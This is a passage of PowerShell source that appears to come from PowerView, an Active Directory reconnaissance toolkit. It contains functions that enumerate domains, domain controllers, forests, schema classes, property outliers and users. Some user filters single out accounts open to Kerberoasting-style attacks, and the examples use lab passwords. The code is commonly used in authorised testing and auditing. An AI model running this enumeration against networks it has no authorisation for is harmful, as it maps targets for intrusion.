"[Get-DomainDNSRecord] Error disposing of the Results object: $_" + } + } + $DNSSearcher.dispose() + } + } +} + + +function Get-Domain { +<# +.SYNOPSIS + +Returns the domain object for the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current +domain or the domain specified with -Domain X. + +.PARAMETER Domain + +Specifies the domain name to query for, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-Domain -Domain testlab.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-Domain -Credential $Cred + +.OUTPUTS + +System.DirectoryServices.ActiveDirectory.Domain + +A complex .NET domain object. + +.LINK + +http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG +#> + + [OutputType([System.DirectoryServices.ActiveDirectory.Domain])] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + if ($PSBoundParameters['Credential']) { + + Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain' + + if ($PSBoundParameters['Domain']) { + $TargetDomain = $Domain + } + else { + # if no domain is supplied, extract the logon domain from the PSCredential passed + $TargetDomain = $Credential.GetNetworkCredential().Domain + Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential" + } + + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password) + + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" + } + } + elseif ($PSBoundParameters['Domain']) { + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_" + } + } + else { + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch { + Write-Verbose "[Get-Domain] Error retrieving the current domain: $_" + } + } + } +} + + +function Get-DomainController { +<# +.SYNOPSIS + +Return the domain controllers for the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-Domain + +.DESCRIPTION + +Enumerates the domain controllers for the current or specified domain. +By default built in .NET methods are used. The -LDAP switch uses Get-DomainComputer +to search for domain controllers. + +.PARAMETER Domain + +The domain to query for domain controllers, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER LDAP + +Switch. Use LDAP queries to determine the domain controllers instead of built in .NET methods. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainController -Domain 'test.local' + +Determine the domain controllers for 'test.local'. + +.EXAMPLE + +Get-DomainController -Domain 'test.local' -LDAP + +Determine the domain controllers for 'test.local' using LDAP queries. + +.EXAMPLE + +'test.local' | Get-DomainController + +Determine the domain controllers for 'test.local'. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainController -Credential $Cred + +.OUTPUTS + +PowerView.Computer + +Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified. + +System.DirectoryServices.ActiveDirectory.DomainController + +If -LDAP isn't specified. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.Computer')] + [OutputType('System.DirectoryServices.ActiveDirectory.DomainController')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Switch] + $LDAP, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + + if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) { + if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server } + + # UAC specification for domain controllers + $Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' + + Get-DomainComputer @Arguments + } + else { + $FoundDomain = Get-Domain @Arguments + if ($FoundDomain) { + $FoundDomain.DomainControllers + } + } + } +} + + +function Get-Forest { +<# +.SYNOPSIS + +Returns the forest object for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertTo-SID + +.DESCRIPTION + +Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current +forest or the forest specified with -Forest X. + +.PARAMETER Forest + +The forest name to query for, defaults to the current forest. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target forest. + +.EXAMPLE + +Get-Forest -Forest external.domain + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-Forest -Credential $Cred + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition +to the forest root domain SID. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + if ($PSBoundParameters['Credential']) { + + Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest" + + if ($PSBoundParameters['Forest']) { + $TargetForest = $Forest + } + else { + # if no domain is supplied, extract the logon domain from the PSCredential passed + $TargetForest = $Credential.GetNetworkCredential().Domain + Write-Verbose "[Get-Forest] Extracted domain '$Forest' from -Credential" + } + + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $TargetForest, $Credential.UserName, $Credential.GetNetworkCredential().Password) + + try { + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + } + catch { + Write-Verbose "[Get-Forest] The specified forest '$TargetForest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" + $Null + } + } + elseif ($PSBoundParameters['Forest']) { + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) + try { + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + } + catch { + Write-Verbose "[Get-Forest] The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust: $_" + return $Null + } + } + else { + # otherwise use the current forest + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + } + + if ($ForestObject) { + # get the SID of the forest root + if ($PSBoundParameters['Credential']) { + $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -Credential $Credential).objectsid + } + else { + $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).objectsid + } + + $Parts = $ForestSid -Split '-' + $ForestSid = $Parts[0..$($Parts.length-2)] -join '-' + $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid + $ForestObject + } + } +} + + +function Get-ForestDomain { +<# +.SYNOPSIS + +Return all domains for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION + +Returns all domains for the current forest or the forest specified +by -Forest X. + +.PARAMETER Forest + +Specifies the forest name to query for domains. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target forest. + +.EXAMPLE + +Get-ForestDomain + +.EXAMPLE + +Get-ForestDomain -Forest external.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestDomain -Credential $Cred + +.OUTPUTS + +System.DirectoryServices.ActiveDirectory.Domain +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.DirectoryServices.ActiveDirectory.Domain')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + + $ForestObject = Get-Forest @Arguments + if ($ForestObject) { + $ForestObject.Domains + } + } +} + + +function Get-ForestGlobalCatalog { +<# +.SYNOPSIS + +Return all global catalogs for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION + +Returns all global catalogs for the current forest or the forest specified +by -Forest X by using Get-Forest to retrieve the specified forest object +and the .FindAllGlobalCatalogs() to enumerate the global catalogs. + +.PARAMETER Forest + +Specifies the forest name to query for global catalogs. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-ForestGlobalCatalog + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestGlobalCatalog -Credential $Cred + +.OUTPUTS + +System.DirectoryServices.ActiveDirectory.GlobalCatalog +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + + $ForestObject = Get-Forest @Arguments + + if ($ForestObject) { + $ForestObject.FindAllGlobalCatalogs() + } + } +} + + +function Get-ForestSchemaClass { +<# +.SYNOPSIS + +Helper that returns the Active Directory schema classes for the current +(or specified) forest or returns just the schema class specified by +-ClassName X. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION + +Uses Get-Forest to retrieve the current (or specified) forest. By default, +the .FindAllClasses() method is executed, returning a collection of +[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] results. +If "-FindClass X" is specified, the [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] +result for the specified class name is returned. + +.PARAMETER ClassName + +Specifies a ActiveDirectorySchemaClass name in the found schema to return. + +.PARAMETER Forest + +The forest to query for the schema, defaults to the current forest. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-ForestSchemaClass + +Returns all domain schema classes for the current forest. + +.EXAMPLE + +Get-ForestSchemaClass -Forest dev.testlab.local + +Returns all domain schema classes for the external.local forest. + +.EXAMPLE + +Get-ForestSchemaClass -ClassName user -Forest external.local + +Returns the user schema class for the external.local domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestSchemaClass -ClassName user -Forest external.local -Credential $Cred + +Returns the user schema class for the external.local domain using +the specified alternate credentials. + +.OUTPUTS + +[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] + +An ActiveDirectorySchemaClass returned from the found schema. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [Alias('Class')] + [ValidateNotNullOrEmpty()] + [String[]] + $ClassName, + + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + + $ForestObject = Get-Forest @Arguments + + if ($ForestObject) { + if ($PSBoundParameters['ClassName']) { + ForEach ($TargetClass in $ClassName) { + $ForestObject.Schema.FindClass($TargetClass) + } + } + else { + $ForestObject.Schema.FindAllClasses() + } + } + } +} + + +function Find-DomainObjectPropertyOutlier { +<# +.SYNOPSIS + +Finds user/group/computer objects in AD that have 'outlier' properties set. + +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer + +.DESCRIPTION + +A 'reference' set of property names is calculated, either from a standard set preserved +for user/group/computers, or from the array of names passed to -ReferencePropertySet, or +from the property names of the passed -ReferenceObject. Every user/group/computer object +(depending on determined class) are enumerated, and for each object, if the object has a +'non-standard' property set (meaning a property not held by the reference set), the object's +samAccountName, property name, and property value are output to the pipeline. + +.PARAMETER ClassName + +Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'. +If -ReferenceObject is specified, this will be automatically extracted, if possible. + +.PARAMETER ReferencePropertySet + +Specifies an array of property names to diff against the class schema. + +.PARAMETER ReferenceObject + +Specicifes the PowerView user/group/computer object to extract property names +from to use as the reference set. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Find-DomainObjectPropertyOutlier -ClassName 'User' + +Enumerates users in the current domain with 'outlier' properties filled in. + +.EXAMPLE + +Find-DomainObjectPropertyOutlier -ClassName 'Group' -Domain external.local + +Enumerates groups in the external.local forest/domain with 'outlier' properties filled in. + +.EXAMPLE + +Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier + +Enumerates computers in the current domain with 'outlier' properties filled in. + +.OUTPUTS + +PowerView.PropertyOutlier + +Custom PSObject with translated object property outliers. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.PropertyOutlier')] + [CmdletBinding(DefaultParameterSetName = 'ClassName')] + Param( + [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')] + [Alias('Class')] + [ValidateSet('User', 'Group', 'Computer')] + [String] + $ClassName, + + [ValidateNotNullOrEmpty()] + [String[]] + $ReferencePropertySet, + + [Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObject')] + [PSCustomObject] + $ReferenceObject, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $UserReferencePropertySet = @('admincount','accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','description', 'displayname','distinguishedname','dscorepropagationdata','givenname','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','lockouttime','logoncount','memberof','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','primarygroupid','pwdlastset','samaccountname','samaccounttype','sn','useraccountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreated') + + $GroupReferencePropertySet = @('admincount','cn','description','distinguishedname','dscorepropagationdata','grouptype','instancetype','iscriticalsystemobject','member','memberof','name','objectcategory','objectclass','objectguid','objectsid','samaccountname','samaccounttype','systemflags','usnchanged','usncreated','whenchanged','whencreated') + + $ComputerReferencePropertySet = @('accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','distinguishedname','dnshostname','dscorepropagationdata','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','localpolicyflags','logoncount','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','operatingsystem','operatingsystemservicepack','operatingsystemversion','primarygroupid','pwdlastset','samaccountname','samaccounttype','serviceprincipalname','useraccountcontrol','usnchanged','usncreated','whenchanged','whencreated') + + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + # Domain / Credential + if ($PSBoundParameters['Domain']) { + if ($PSBoundParameters['Credential']) { + $TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name + } + else { + $TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name + } + Write-Verbose "[Find-DomainObjectPropertyOutlier] Enumerated forest '$TargetForest' for target domain '$Domain'" + } + + $SchemaArguments = @{} + if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential } + if ($TargetForest) { + $SchemaArguments['Forest'] = $TargetForest + } + } + + PROCESS { + + if ($PSBoundParameters['ReferencePropertySet']) { + Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -ReferencePropertySet" + $ReferenceObjectProperties = $ReferencePropertySet + } + elseif ($PSBoundParameters['ReferenceObject']) { + Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -ReferenceObject to use as the reference property set" + $ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name + $ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1 + Write-Verbose "[Find-DomainObjectPropertyOutlier] Calculated ReferenceObjectClass : $ReferenceObjectClass" + } + else { + Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for the object class '$ClassName'" + } + + if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) { + $Objects = Get-DomainUser @SearcherArguments + if (-not $ReferenceObjectProperties) { + $ReferenceObjectProperties = $UserReferencePropertySet + } + } + elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) { + $Objects = Get-DomainGroup @SearcherArguments + if (-not $ReferenceObjectProperties) { + $ReferenceObjectProperties = $GroupReferencePropertySet + } + } + elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) { + $Objects = Get-DomainComputer @SearcherArguments + if (-not $ReferenceObjectProperties) { + $ReferenceObjectProperties = $ComputerReferencePropertySet + } + } + else { + throw "[Find-DomainObjectPropertyOutlier] Invalid class: $ClassName" + } + + ForEach ($Object in $Objects) { + $ObjectProperties = Get-Member -InputObject $Object -MemberType NoteProperty | Select-Object -Expand Name + ForEach($ObjectProperty in $ObjectProperties) { + if ($ReferenceObjectProperties -NotContains $ObjectProperty) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'SamAccountName' $Object.SamAccountName + $Out | Add-Member Noteproperty 'Property' $ObjectProperty + $Out | Add-Member Noteproperty 'Value' $Object.$ObjectProperty + $Out.PSObject.TypeNames.Insert(0, 'PowerView.PropertyOutlier') + $Out + } + } + } + } +} + + +######################################################## +# +# "net *" replacements and other fun start below +# +######################################################## + +function Get-DomainUser { +<# +.SYNOPSIS + +Return all users or specific user objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all user objects for +the current domain are returned. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. Also accepts DOMAIN\user format. + +.PARAMETER SPN + +Switch. Only return user objects with non-null service principal names. + +.PARAMETER UACFilter + +Dynamic parameter that accepts one or more values from $UACEnum, including +"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. + +.PARAMETER AdminCount + +Switch. Return users with '(adminCount=1)' (meaning are/were privileged). + +.PARAMETER AllowDelegation + +Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' + +.PARAMETER DisallowDelegation + +Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation' + +.PARAMETER TrustedToAuth + +Switch. Return computer objects that are trusted to authenticate for other principals. + +.PARAMETER PreauthNotRequired + +Switch. Return user accounts with "Do not require Kerberos preauthentication" set. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainUser -Domain testlab.local + +Return all users for the testlab.local domain + +.EXAMPLE + +Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator" + +Return the user with the given SID, as well as Administrator. + +.EXAMPLE + +'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff + +lastlogoff samaccountname +---------- -------------- +12/31/1600 4:00:00 PM dfm.a +12/31/1600 4:00:00 PM dfm +12/31/1600 4:00:00 PM harmj0y +12/31/1600 4:00:00 PM Administrator + +.EXAMPLE + +Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation + +Search the specified OU for privileged user (AdminCount = 1) that allow delegation + +.EXAMPLE + +Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon + +Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon + +.EXAMPLE + +Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED + +Find users who doesn't require Kerberos preauthentication and DON'T have an expired password. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainUser -Credential $Cred + +.EXAMPLE + +Get-Domain | Select-Object -Expand name +testlab.local + +Get-DomainUser dev\user1 -Verbose -Properties distinguishedname +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1))) + +distinguishedname +----------------- +CN=user1,CN=Users,DC=dev,DC=testlab,DC=local + +.INPUTS + +String + +.OUTPUTS + +PowerView.User + +Custom PSObject with translated user property fields. + +PowerView.User.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.User')] + [OutputType('PowerView.User.Raw')] + [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [Switch] + $SPN, + + [Switch] + $AdminCount, + + [Parameter(ParameterSetName = 'AllowDelegation')] + [Switch] + $AllowDelegation, + + [Parameter(ParameterSetName = 'DisallowDelegation')] + [Switch] + $DisallowDelegation, + + [Switch] + $TrustedToAuth, + + [Alias('KerberosPreauthNotRequired', 'NoPreauth')] + [Switch] + $PreauthNotRequired, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + DynamicParam { + $UACValueNames = [Enum]::GetNames($UACEnum) + # add in the negations + $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} + # create new dynamic parameter + New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) + } + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = 